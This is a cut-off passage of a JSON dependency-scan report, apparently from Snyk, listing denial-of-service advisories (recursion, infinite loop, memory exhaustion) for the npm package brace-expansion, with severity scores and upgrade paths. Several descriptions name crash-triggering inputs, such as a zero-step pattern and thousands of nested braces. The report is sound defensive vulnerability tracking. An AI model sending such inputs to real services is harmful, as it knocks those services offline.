"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub 